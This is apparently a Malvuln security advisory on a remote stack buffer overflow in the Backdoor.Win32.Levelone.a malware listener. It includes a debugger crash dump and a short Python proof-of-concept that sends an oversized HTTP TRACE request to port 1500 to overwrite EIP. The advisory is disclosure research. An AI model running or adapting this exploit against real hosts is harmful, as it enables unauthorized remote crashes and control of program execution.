Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow

us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Levelone.a Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on Port 1500, sending a specially crafted HTTP TRACE request causes a buffer overflow and overwrites EIP with our payload. If testing you need delete the executable in order to run the malware again, c:\>del \Windows\SysWOW64\dllvector.exe Packed with UPX so just upx -d to unpack. Type: PE32 MD5: 6a2d09c4527cf222e4e2571b074fcc0c Vuln ID: MVID-2021-0020 Dropped files: dllvector.exe Network Access: Remote ASLR: False DEP: False Safe SEH: True Disclosure: 01/10/2021 Memory Dump: EAX : 000A139C EBX : 0019FF70 ECX : 0040109A dllvector.0040109A EDX : 773E9D70 ntdll.773E9D70 EBP : 000A13A4 ESP : 000A1380 ESI : FFFFFFFF EDI : 0040801C dllvector.0040801C EIP : 41414141 41414141 ?? ??? EXCEPTION_RECORD: 0019f7e8 -- (.exr 0x19f7e8) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: dllvector.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: +cbf7340 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +cbf7340 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f838 -- (.cxr 0x19f838) eax=0040b77e ebx=0040513c ecx=cbc27c7e edx=0019fbcc esi=0000663e edi=00006642 eip=41414141 esp=0019fc98 ebp=0019fcbc iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 41414141 ?? ??? Resetting default scope Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=1500 JUNK="A"*7740 JUNK2="A"*7822 PAYLOAD="TRACE / "+JUNK+"HTTP/1."+JUNK+"\r\n"+MALWARE_HOST+"\r\nCookie: "+JUNK2+"\r\n\r\n" s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.send(PAYLOAD) s.close() print("Backdoor.Win32.Levelone.a / Remote Stack Buffer Overflow") print("MD5: 6a2d09c4527cf222e4e2571b074fcc0c") print("By Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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